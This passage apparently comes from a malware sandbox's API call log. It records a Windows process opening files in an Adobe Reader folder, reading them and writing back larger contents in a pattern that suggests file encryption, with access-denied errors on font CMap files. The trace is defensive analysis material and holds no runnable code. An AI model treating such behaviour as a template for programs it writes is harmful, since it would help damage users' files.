(in: hFile=0x1a0, lpBuffer=0x271d2d8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x271d2d8*, lpNumberOfBytesWritten=0x2f4f28c*=0x2588, lpOverlapped=0x0) returned 1 [0040.454] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0040.454] WriteFile (in: hFile=0x1a0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.455] WriteFile (in: hFile=0x1a0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.455] WriteFile (in: hFile=0x1a0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2f4f28c*=0x2000, lpOverlapped=0x0) returned 1 [0040.455] CloseHandle (hObject=0x1a0) returned 1 [0040.463] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\br.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\br.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.486] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0040.486] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x52 [0040.486] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0040.486] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.486] ReleaseMutex (hMutex=0x128) returned 1 [0040.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="br.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0040.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="br.gif", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="br.gif", lpUsedDefaultChar=0x0) returned 6 [0040.486] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e8e928, nNumberOfBytesToRead=0x52, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8e928*, lpNumberOfBytesRead=0x2f4f2bc*=0x52, lpOverlapped=0x0) returned 1 [0040.487] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0040.487] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5da, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5da, lpOverlapped=0x0) returned 1 [0040.487] CloseHandle (hObject=0x1d4) returned 1 [0040.487] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\form_responses.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\form_responses.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.498] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0040.498] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x3c9 [0040.498] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0040.498] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.498] ReleaseMutex (hMutex=0x128) returned 1 [0040.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="form_responses.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0040.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="form_responses.gif", cchWideChar=18, lpMultiByteStr=0x1e78b7c, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="form_responses.gif", lpUsedDefaultChar=0x0) returned 18 [0040.498] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c5df8, nNumberOfBytesToRead=0x3c9, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5df8*, lpNumberOfBytesRead=0x2f4f2bc*=0x3c9, lpOverlapped=0x0) returned 1 [0040.504] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0040.504] WriteFile (in: hFile=0x1d4, lpBuffer=0x2805d18*, nNumberOfBytesToWrite=0x951, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2805d18*, lpNumberOfBytesWritten=0x2f4f2d0*=0x951, lpOverlapped=0x0) returned 1 [0040.504] CloseHandle (hObject=0x1d4) returned 1 [0040.504] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_email.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_email.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.504] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0040.504] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x57d [0040.504] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0040.504] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.504] ReleaseMutex (hMutex=0x128) returned 1 [0040.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_email.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0040.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_email.gif", cchWideChar=16, lpMultiByteStr=0x1e78c44, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_email.gif", lpUsedDefaultChar=0x0) returned 16 [0040.505] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dfc728, nNumberOfBytesToRead=0x57d, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfc728*, lpNumberOfBytesRead=0x2f4f2bc*=0x57d, lpOverlapped=0x0) returned 1 [0040.513] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0040.514] WriteFile (in: hFile=0x1d4, lpBuffer=0x27f5cc8*, nNumberOfBytesToWrite=0xb05, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesWritten=0x2f4f2d0*=0xb05, lpOverlapped=0x0) returned 1 [0040.514] CloseHandle (hObject=0x1d4) returned 1 [0040.514] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tr.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tr.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.514] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0040.514] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x55 [0040.514] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0040.514] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.514] ReleaseMutex (hMutex=0x128) returned 1 [0040.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0040.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr.gif", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tr.gif", lpUsedDefaultChar=0x0) returned 6 [0040.514] ReadFile (in: hFile=0x1d4, lpBuffer=0x1ea3ff0, nNumberOfBytesToRead=0x55, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3ff0*, lpNumberOfBytesRead=0x2f4f2bc*=0x55, lpOverlapped=0x0) returned 1 [0040.515] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0040.515] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5dd, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5dd, lpOverlapped=0x0) returned 1 [0040.516] CloseHandle (hObject=0x1d4) returned 1 [0040.516] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmect.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.516] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0040.516] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x3fa1 [0040.516] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0040.516] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.516] ReleaseMutex (hMutex=0x128) returned 1 [0040.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCT.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCT.htm", cchWideChar=12, lpMultiByteStr=0x1e630ac, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeCT.htm", lpUsedDefaultChar=0x0) returned 12 [0040.516] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.518] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x2fa1 [0040.518] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.518] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x2fa1 [0040.519] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.519] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0040.519] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.519] CloseHandle (hObject=0x1d4) returned 1 [0040.519] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.520] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0040.520] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4995 [0040.520] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0040.520] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.520] ReleaseMutex (hMutex=0x128) returned 1 [0040.520] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeUKR.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0040.520] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeUKR.htm", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeUKR.htm", lpUsedDefaultChar=0x0) returned 13 [0040.520] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.531] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3995 [0040.531] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.538] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3995 [0040.538] WriteFile (in: hFile=0x1d4, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.539] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0040.539] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.539] CloseHandle (hObject=0x1d4) returned 1 [0040.539] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0040.556] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H", lpFilePart=0x2f4f690*="90ms-RKSJ-H") returned 0x42 [0040.556] GetLastError () returned 0x5 [0040.557] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0040.557] LocalFree (hMem=0x70b5a8) returned 0x0 [0040.557] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0040.557] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0040.557] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0040.557] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0040.557] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-h")) returned 0x20 [0040.558] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0040.558] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-0", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-0", lpFilePart=0x2f4f690*="Adobe-CNS1-0") returned 0x43 [0040.558] GetLastError () returned 0x5 [0040.558] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0040.558] LocalFree (hMem=0x70b5a8) returned 0x0 [0040.558] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0040.558] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0040.558] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0040.559] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0040.559] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-0")) returned 0x20 [0040.559] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-mac"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0040.875] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Mac", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Mac", lpFilePart=0x2f4f690*="Adobe-CNS1-H-Mac") returned 0x47 [0040.875] GetLastError () returned 0x5 [0040.875] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0040.875] LocalFree (hMem=0x70b5a8) returned 0x0 [0040.875] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0040.875] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0040.875] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0040.882] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0040.882] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-mac")) returned 0x20 [0040.882] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-cid"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.068] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID", lpFilePart=0x2f4f690*="Adobe-GB1-H-CID") returned 0x46 [0041.068] GetLastError () returned 0x5 [0041.068] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0041.068] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.068] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.068] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0041.069] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.069] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.069] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-cid")) returned 0x20 [0041.069] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-6" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-6"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.103] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-6", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-6", lpFilePart=0x2f4f690*="Adobe-Japan1-6") returned 0x45 [0041.103] GetLastError () returned 0x5 [0041.103] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, 